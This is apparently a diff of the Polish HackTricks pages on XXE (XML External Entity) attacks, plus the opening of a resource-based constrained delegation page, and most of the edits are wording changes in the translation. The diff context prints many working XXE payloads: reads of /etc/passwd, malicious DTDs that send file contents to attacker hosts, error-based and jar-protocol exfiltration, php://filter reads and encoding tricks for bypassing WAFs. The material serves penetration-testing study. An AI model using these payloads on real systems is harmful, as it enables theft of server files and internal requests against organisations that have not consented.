||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
|
|
@ -43,7 +47,7 @@ W tym ataku sprawdzę, czy prosta deklaracja nowej ENCJI działa.
|
|||
```
|
||||
### Odczytaj plik
|
||||
|
||||
Spróbuj odczytać `/etc/passwd` w różny sposób. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
|
||||
Spróbujmy odczytać `/etc/passwd` w różny sposób. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" również zadziała.
|
||||
```xml
|
||||
|
|
@ -89,7 +93,7 @@ XXE może być wykorzystane do nadużycia SSRF w chmurze
|
|||
```
|
||||
### Blind SSRF
|
||||
|
||||
Korzystając z **wcześniej skomentowanej techniki** możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać jego podatność. Jeśli jednak to nie działa, być może **encje XML nie są dozwolone**, w takim przypadku można spróbować użyć **parametrów encji XML**:
|
||||
Korzystając z **wcześniej skomentowanej techniki** możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać jego podatność. Ale jeśli to nie działa, być może dlatego, że **encje XML nie są dozwolone**, w takim przypadku możesz spróbować użyć **parametrów encji XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
|
|
@ -97,9 +101,9 @@ Korzystając z **wcześniej skomentowanej techniki** możesz sprawić, że serwe
|
|||
```
|
||||
### "Ślepy" SSRF - Wyprowadzanie danych poza pasmo
|
||||
|
||||
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (**dla plików wielolinijkowych można spróbować wyprowadzić je za pomocą** _**ftp://**_ korzystając na przykład z tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ta wyjaśnienie oparte jest na** [**laboratorium Portswiggera tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (**dla plików wieloliniowych można spróbować wyprowadzić je za pomocą** _**ftp://**_ korzystając na przykład z tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie oparte jest na** [**laboratorium Portswiggera tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
W podanym złośliwym DTD przeprowadzane są kroki mające na celu wyprowadzenie danych:
|
||||
W podanym złośliwym DTD przeprowadzane są kroki w celu wyprowadzenia danych:
|
||||
|
||||
### Przykład złośliwego DTD:
|
||||
```xml
|
||||
|
|
@ -108,13 +112,13 @@ W podanym złośliwym DTD przeprowadzane są kroki mające na celu wyprowadzenie
|
|||
%eval;
|
||||
%exfiltrate;
|
||||
```
|
||||
Kroki wykonane przez ten DTD obejmują:
|
||||
Kroki wykonywane przez ten DTD obejmują:
|
||||
|
||||
1. **Definicja Encji Parametrowych:**
|
||||
* Utworzona jest encja parametru XML, `%file`, czytająca zawartość pliku `/etc/hostname`.
|
||||
1. **Definicja Encji Parametru:**
|
||||
* Tworzona jest encja parametru XML, `%file`, czytająca zawartość pliku `/etc/hostname`.
|
||||
* Kolejna encja parametru XML, `%eval`, jest zdefiniowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona do wysłania żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
|
||||
2. **Wykonanie Encji:**
|
||||
* Encja `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`.
|
||||
* Wykorzystywana jest encja `%eval`, prowadząc do wykonania dynamicznej deklaracji encji `%exfiltrate`.
|
||||
* Następnie używana jest encja `%exfiltrate`, wywołując żądanie HTTP do określonego URL z zawartością pliku.
|
||||
|
||||
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
|
||||
|
|
@ -125,18 +129,18 @@ Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwycza
|
|||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Ten payload definiuje parametrową jednostkę XML `%xxe` i włącza ją w DTD. Po przetworzeniu przez analizator XML ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie analizator interpretuje DTD w linii, wykonując kroki określone w złośliwym DTD i prowadząc do wycieku pliku `/etc/hostname` do serwera atakującego.
|
||||
Ten payload definiuje zmienną parametru XML `%xxe` i włącza ją w DTD. Po przetworzeniu przez analizator XML ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie analizator interpretuje DTD w linii, wykonując kroki określone w złośliwym DTD i prowadząc do wycieku pliku `/etc/hostname` do serwera atakującego.
|
||||
|
||||
### Błąd oparty na błędach (Zewnętrzne DTD)
|
||||
|
||||
**W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku wewnątrz komunikatu o błędzie (to jest ważne tylko jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku w komunikacie o błędzie (to jest ważne tylko jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Komunikat o błędzie analizy XML, ujawniający zawartość pliku `/etc/passwd`, może zostać wywołany za pomocą złośliwej zewnętrznej definicji typu dokumentu (DTD). Osiąga się to poprzez następujące kroki:
|
||||
|
||||
1. Zdefiniowana jest jednostka parametrowa XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`.
|
||||
2. Zdefiniowana jest jednostka parametrowa XML o nazwie `eval`, która zawiera dynamiczne zadeklarowanie innej jednostki parametrowej XML o nazwie `error`. Ta jednostka `error`, gdy jest oceniana, próbuje załadować nieistniejący plik, włączając zawartość jednostki `file` jako swoją nazwę.
|
||||
3. Wywołana jest jednostka `eval`, prowadząc do dynamicznego zadeklarowania jednostki `error`.
|
||||
4. Wywołanie jednostki `error` skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
||||
1. Zdefiniowana jest zmienna parametru XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`.
|
||||
2. Zdefiniowana jest zmienna parametru XML o nazwie `eval`, która zawiera dynamiczne zadeklarowanie innej zmiennej parametru XML o nazwie `error`. Ta zmienna `error`, gdy jest oceniana, próbuje załadować nieistniejący plik, włączając zawartość zmiennej `file` jako swoją nazwę.
|
||||
3. Wywołana jest zmienna `eval`, prowadząc do dynamicznego zadeklarowania zmiennej `error`.
|
||||
4. Wywołanie zmiennej `error` skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
||||
|
||||
Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
|
||||
```xml
|
||||
|
|
@ -148,13 +152,13 @@ Po wykonaniu odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyś
|
|||
|
||||
.png>)
|
||||
|
||||
_**Proszę zauważyć, że zewnętrzny DTD pozwala na umieszczenie jednej jednostki wewnątrz drugiej (****`eval`****), ale jest to zabronione wewnętrznym DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
|
||||
_**Należy zauważyć, że zewnętrzny DTD pozwala na umieszczenie jednej jednostki wewnątrz drugiej (****`eval`****), ale jest to zabronione wewnętrznym DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
|
||||
|
||||
### **Oparte na błędach (DTD systemowe)**
|
||||
|
||||
Co zatem z lukami w zabezpieczeniach XXE, gdy **blokowane są interakcje out-of-band** (zewnętrzne połączenia są niedostępne)?.
|
||||
Co zatem z lukami w bezpieczeństwie XXE, gdy **blokowane są interakcje out-of-band** (zewnętrzne połączenia są niedostępne)?.
|
||||
|
||||
Luka w specyfikacji języka XML może **odsłonić poufne dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Ten problem pozwala na wewnętrzne zdefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują ponowne zdefiniowanie jednostki parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mając na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
|
||||
Luka w specyfikacji języka XML może **odsłonić poufne dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Ten problem pozwala na wewnętrzne ponowne zdefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują ponowne zdefiniowanie jednostki parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mając na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
|
||||
|
||||
Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD w lokalizacji `/usr/local/app/schema.dtd`, definiujący jednostkę o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowe DTD w następujący sposób:
|
||||
```xml
|
||||
|
|
@ -190,16 +194,14 @@ Kroki zarysowane są przez ten DTD:
|
|||
]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer i **szukając niektórych domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
|
||||
Jak ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając niektórych domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||
Dla dalszych informacji sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
### Znajdowanie DTDs w systemie
|
||||
|
||||
|
|
@ -207,7 +209,7 @@ W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki
|
|||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
Co więcej, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania** **obrazu** i **znalezienia** ścieżki **DTDs** obecnych w systemie. Przeczytaj [Readme na github](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
|
||||
Co więcej, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania** **obrazu** i **znalezienia** ścieżki **DTDs** obecnych w systemie. Przeczytaj [Readme na githubie](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
|
@ -219,7 +221,7 @@ Testing 0 entities : []
|
|||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||
Testing 0 entities : []
|
||||
```
|
||||
### XXE za pośrednictwem analizatorów Office Open XML
|
||||
### XXE poprzez analizatory Office Open XML
|
||||
|
||||
Dla bardziej szczegółowego wyjaśnienia tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||
|
||||
|
|
@ -229,7 +231,7 @@ Aby przetestować tę podatność, konieczne jest utworzenie **pliku pakietu Mic
|
|||
|
||||
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML należy zmodyfikować, aby zawierał pożądany ładunek XXE, często zaczynając od żądania HTTP.
|
||||
|
||||
Zmodyfikowane linie XML należy wstawić między dwoma obiektami XML. Ważne jest, aby zastąpić adres URL monitorowalnym adresem dla żądań.
|
||||
Zmodyfikowane linie XML należy wstawić między dwoma obiektami XML. Ważne jest, aby zastąpić adres URL adresem monitorowalnym dla żądań.
|
||||
|
||||
Wreszcie, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy uruchomić następujące polecenie:
|
||||
|
||||
|
|
@ -243,7 +245,7 @@ jar:file:///var/myarchive.zip!/file.txt
|
|||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest **bardzo przydatne do nadużywania XXE za pomocą plików DTD systemu.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, **bardzo przydatne jest nadużycie XXE za pomocą plików DTD systemu.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
|
||||
|
|
@ -251,16 +253,16 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar
|
|||
1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonego miejsca, takiego jak `https://download.website.com/archive.zip`.
|
||||
2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana na systemie, zazwyczaj w lokalizacji takiej jak `/tmp/...`.
|
||||
3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
|
||||
4. Konkretny plik wewnątrz archiwum, `file.zip`, jest odczytywany.
|
||||
4. Konkretny plik w archiwum, `file.zip`, jest odczytywany.
|
||||
5. Po operacji, wszelkie tymczasowe pliki utworzone podczas tego procesu są usuwane.
|
||||
|
||||
Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywanie otwartej nieskończenie połączenia serwera podczas udostępniania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
|
||||
Interesującą techniką, aby przerwać ten proces na drugim kroku, jest utrzymywanie otwartej nieskończenie połączenia z serwerem podczas udostępniania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Zapisywanie plików w katalogu tymczasowym może pomóc **eskalować inną podatność związaną z trawersowaniem ścieżki** (taką jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja, itp).
|
||||
Zapisywanie plików w katalogu tymczasowym może pomóc w **eskalacji innej podatności związanej z trawersowaniem ścieżki** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja, itp).
|
||||
{% endhint %}
|
||||
|
||||
### XSS
|
||||
|
|
@ -312,7 +314,7 @@ i wysyłając następujący żądanie
|
|||
|
||||
### XInclude
|
||||
|
||||
Podczas integrowania danych klienta w dokumentach XML po stronie serwera, takich jak te w żądaniach SOAP po stronie serwera, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikowania elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolny element danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy kontrolowane może być tylko część danych w generowanym przez serwer dokumencie XML.
|
||||
Podczas integrowania danych klienta w dokumenty XML po stronie serwera, takie jak te w żądaniach SOAP po stronie serwera, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikowania elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolny element danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy kontrolowane może być tylko część danych w generowanym przez serwer dokumencie XML.
|
||||
|
||||
Aby przeprowadzić atak `XInclude`, przestrzeń nazw `XInclude` musi zostać zadeklarowana, a ścieżka pliku do zamierzonej zewnętrznej jednostki musi zostać określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
|
||||
```xml
|
||||
|
|
@ -322,7 +324,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
|
|||
|
||||
### SVG - Przesyłanie plików
|
||||
|
||||
Pliki przesyłane przez użytkowników do określonych aplikacji, które następnie są przetwarzane na serwerze, mogą wykorzystać podatności w obsłudze plików XML lub plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
|
||||
Pliki przesyłane przez użytkowników do określonych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać podatności w obsłudze plików XML lub plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
|
||||
|
||||
Kiedy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).
|
||||
|
||||
|
|
@ -398,7 +400,7 @@ Content-Type: application/xml;charset=UTF-8
|
|||
</root>
|
||||
</root>
|
||||
```
|
||||
Inny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
Kolejny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## Bypassowanie WAF i zabezpieczeń
|
||||
|
||||
|
|
@ -422,9 +424,9 @@ Możesz użyć \[**"Przepisu kodowania**" cyberchef tutaj ]\([https://gchq.githu
|
|||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### Bypass protokołu File:/
|
||||
### Protokół File: / Bypass
|
||||
|
||||
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **obudow PHP** `php://filter/convert.base64-encode/resource=` aby **uzyskać dostęp do wewnętrznych plików**.
|
||||
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **obwodów PHP** `php://filter/convert.base64-encode/resource=`, aby **uzyskać dostęp do plików wewnętrznych**.
|
||||
|
||||
Jeśli strona internetowa używa Javy, możesz sprawdzić [**protokół jar**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
|
|
@ -432,7 +434,7 @@ Jeśli strona internetowa używa Javy, możesz sprawdzić [**protokół jar**](x
|
|||
|
||||
Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Możesz stworzyć **encję wewnątrz innej encji**, kodując ją za pomocą **encji HTML**, a następnie wywołać ją, aby **załadować dtd**.\
|
||||
Zauważ, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie [tutaj](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)).
|
||||
Zauważ, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie [tutaj](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
|
|
@ -450,7 +452,7 @@ Przykład DTD:
|
|||
|
||||
### Base64
|
||||
|
||||
**Wydobyć** _**index.php**_
|
||||
**Wyciągnij** _**index.php**_
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
```
|
||||
|
|
@ -471,6 +473,10 @@ Przykład DTD:
|
|||
</creds>
|
||||
```
|
||||
## **SOAP - XEE**
|
||||
|
||||
### XML External Entity (XEE) Attack
|
||||
|
||||
Atak XML External Entity (XEE) polega na wykorzystaniu funkcji przetwarzania zewnętrznych encji XML do wykonania ataku. Atakujący może wstrzyknąć złośliwe treści XML, które mogą prowadzić do odczytu poufnych danych, wykonania zdalnych żądań HTTP lub innych działań związanych z przetwarzaniem danych XML. Aby zabezpieczyć aplikację przed atakiem XEE, należy odpowiednio skonfigurować parser XML, wyłączając obsługę zewnętrznych encji lub korzystając z bezpiecznych metod przetwarzania danych XML.
|
||||
```xml
|
||||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||
```
|
||||
|
|
@ -500,7 +506,7 @@ Jednakże to żądanie powoduje wewnętrzny błąd serwera, wskazujący konkretn
|
|||
```
|
||||
Mimo błędu, zarejestrowane jest trafienie w Burp Collaborator, wskazujące na pewien poziom interakcji z zewnętrzną jednostką.
|
||||
|
||||
Odbieranie danych poza pasmem Aby wydobyć dane, wysyłany jest zmodyfikowany żądanie:
|
||||
Odbieranie danych poza pasmem Aby wydobyć dane, wysyłane jest zmodyfikowane żądanie:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
|
@ -514,7 +520,7 @@ Content-Type: application/x-xliff+xml
|
|||
```
|
||||
To podejście ujawnia, że Agent użytkownika wskazuje na użycie Javy 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.
|
||||
|
||||
Eksfiltracja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest strukturyzowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
|
||||
Eksfiltracja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest zbudowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
|
|
@ -532,7 +538,7 @@ Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dost
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Ta modyfikacja prowadzi do udanego wycieku zawartości pliku, co jest odzwierciedlone w komunikacie o błędzie wysłanym za pomocą protokołu HTTP. Oznacza to udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
|
||||
Ta modyfikacja prowadzi do udanego wycieku zawartości pliku, co jest odzwierciedlone w komunikacie błędu wysłanym za pośrednictwem protokołu HTTP. Oznacza to udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
|
|
@ -679,13 +685,17 @@ XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Je
|
|||
|
||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
* Wydobycie informacji za pomocą HTTP przy użyciu własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
* Wyciąganie informacji za pomocą HTTP przy użyciu własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
|||
|
|
@ -1,12 +1,12 @@
|
|||
# Ograniczenie delegacji opartej na zasobach
|
||||
# Delegacja ograniczona oparta na zasobach
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
@ -14,34 +14,38 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
